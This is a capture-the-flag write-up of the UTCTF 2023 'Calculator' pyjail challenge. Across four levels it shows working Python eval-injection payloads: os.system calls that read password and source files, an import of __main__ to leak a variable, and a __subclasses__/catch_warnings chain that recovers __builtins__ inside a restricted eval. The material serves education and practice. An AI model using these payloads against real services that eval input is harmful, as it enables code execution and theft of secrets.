Post

Calculator - UTCTF 2023

Calculator's challenge prompt

This past weekend I briefly took a look at a couple challenges from UTCTF 2023. There were a few interesting challenges and I wanted to writeup my solve of one of them. My team, Psi Beta Rho, has been taking a look at pyjail challenges recently and I was excited that I was able to solve one!

Prompt

Calculator's challenge prompt

Visiting the challenge page, we are presented with a simple interface with the title “A Smart Number Guessing Game” where we have to guess the correct number from each level to get a password to reach the next level. After trying a few attempted inputs, the resulting number is truly random and we have no way of guessing the correct number. After attempting an input of 1+1, I was able to discern that this was potentially a pyjail challenge.

Level 0

Beginning with the first level, since I discerned that this was a pyjail challenge, I attempted to achieve RCE by inputting a common payload, __import__('os').system('ls'). This resulted in the following output:

1
2
3
4
> __import__('os').system('ls')
password.txt
problem.py
Result: 0.  The correct answer was 3935931108.

The above is a common pyjail one-liner that utilizes Python’s dunder or magic functions to call functions. The above code is equivalent to the following Python code:

1
2
import os
os.system('ls')

Now that we know that we can execute arbitrary Python code, we can attempt to do further reconnaissance on the system. I attempted to read the contents of the problem.py file to see what the code was doing:

1
2
3
4
5
6
7
8
9
10
11
12
13
> __import__('os').system('cat problem.py')
import random
password = open("password.txt").read()
solution = random.getrandbits(32)

answer = input()
result = eval(answer)

if result == solution:
    print(f"{result}, correct!  The password is '{password}'.")
else:
    print(f"Result: {result}.  The correct answer was {solution}.")
Result: 0.  The correct answer was 2570371923.

In the above leaked source code, we see the core vulnerability of the user’s input being directly passed into an eval allowing the execution of arbitrary code. We can then grab the first password by reading the contents of the password.txt file. Submitting this password, we can the progress to the next level.

1
2
> __import__('os').system('cat password.txt')
PuXqj7n4WNZzStnWbtPvResult: 0.  The correct answer was 2105213148.

The following is an additional solution to leak the password.

1
2
> password
PuXqj7n4WNZzStnWbtPvResult: 0.  The correct answer was 2105213148.

Level 1

Trying the same payload as before, we get the following output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
> __import__('os').system('cat problem.py')
import random
password = open("password.txt").read()
solution = random.getrandbits(32)

answer = input()
# No locals allowed!
result = eval(answer, {"open": None})

if result == solution:
    print(f"{result}, correct!  The password is '{password}'.")
else:
    print(f"Result: {result}.  The correct answer was {solution}.")
Result: 0.  The correct answer was 2758269906.

We notice that eval has been restricted so that the open function can no longer be used. The solution to the first level still worked so we can still read the contents of the password.txt file and move on to the next level.

1
2
> __import__('os').system('cat password.txt')
Krdi9yQuY8mHoteZDCF5Result: 0.  The correct answer was 4248372865.

Level 2

Trying the same payload as before, we get the following output:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
> __import__('os').system('cat problem.py')
import random, os
password = open("password.txt").read()
os.remove("password.txt") # No more reading the file!

solution = random.getrandbits(32)

answer = input()
result = eval(answer, {})

if result == solution:
    print(f"{result}, correct!  The password is '{password}'.")
else:
    print(f"Result: {result}.  The correct answer was {solution}.")
Result: 0.  The correct answer was 1887084712.

We notice that there are no longer any restrictions on eval like the previous level. However, the password.txt file is deleted before we can read it! I ran through a couple of potential ideas to try to recover the password. One idea I potentially had was to look for looking for dangling file descriptors since the open function was called before the close function was called on the file descriptor. Another idea was that the terminal history might have the password in it. Checking the /proc/self directory in /proc/self/fd and /proc/self/cmdline revealed that the file descriptors were properly closed and the terminal history was not stored. I then realized that the password variable was still in scope and could be accessed. After these attempts, I finally came up with the following payload.

1
2
> __import__('__main__').password
Result: E46Dnqb5enAMgGArbruu.  The correct answer was 877245485.

The __main__ dunder is the reserved name for the main module which the program is currently running. Importing this module allows us to access the password variable in the main module’s scope because Python allows access to variables in the global scope of a module. After accessing this global, we are able to submit this password and move on to the next level.

After talking with some other competitors and the organizers after the CTF was over, I learned that this was actually an unintended solution. The intended solution was to take advantage of the inspect module where the stack function can be used to access the globals of the calling frame. More explanation will be included in the next part of this writeup.

Level 3

Starting the level with the same set up payload as before, we get the following error.

1
2
3
4
5
6
> __import__('os').system('cat problem.py')
Traceback (most recent call last):
  File "problem.py", line 9, in <module>
    result = eval(answer, {"__builtins__": {}})
  File "<string>", line 1, in <module>
NameError: name '__import__' is not defined

The namespace of the eval is now more restrictive to set __builtins__ to {}. Many essential functions such as __import__ are a part of __builtins__ so we can no longer use the same payload as before. Luckily, this was something that my team had talked about recently (shoutout to Jason An for sharing this idea at PBR practice)! The goal of this level is to recover __builtins so that we can use the same payload as before. The following is the payload that I used to recover the final password!

1
2
> ().__class__.__base__.__subclasses__()[-25].__init__.__globals__['__builtins__']['__import__']('__main__').password
Result: 5F4p7aLgQ5Nfn5YM8s68.  The correct answer was 425718691.

The first part of the payload, ().__class__.__base__.__subclasses__(), takes advantage of all of Python’s types being objects. ().__class__ is a tuple which returns <class 'tuple'>. The corresponding base class is <class 'object'> which is the base class of all Python objects. The __subclasses__ function returns a list of all the subclasses of the object parent object. For this reason, we are able to recover the list of all the subclasses of the object class which contains all modules. A key thing to understand about cpython, the main interpreter for Python is that a number of its modules are written in Python, but some of its modules are written in C. Only the modules written in Python have __globals__ defined on them. For this reason, we need to find a module that is written in Python. Iterating backwards, I worked from index -1 till I found a module at index -25 where __globals__ was defined. From there, we are able to recover __builtins__ from the __globals__ dictionary and we are then able to recover the __import__ function from the __builtins__ dictionary. We can then use the same payload as before to recover the password. Inputting the final password, we get the flag!

Calculator's solve

Speaking with the challenge author after the CTF, I learned that the intended solution was to use the inspect module. The stack function in the inspect module returns a list of frame records for the current call stack. The frame records contain the global variables of the calling frame. The following is the intended solution.

1
2
3
(lambda b=((lambda n:[c for c in ().__class__.__bases__[0].__subclasses__() if c.__name__==n][0])("catch_warnings")()._module.__builtins__):
    b["eval"]("""[frame.frame.f_locals.get("password") for frame in __import__("inspect").stack()]""", {"__builtins__": b})
)()

catch_warnings is an alternate path to recover __builtins__. The main idea of the solution is to call the stack function from the inspect module. cpython’s call stack stores the locals of each frame on the stack. The above script grabs the stack and then traverses every frame on the stack to access locals to get the password variable.

This post is licensed under CC BY 4.0 by the author.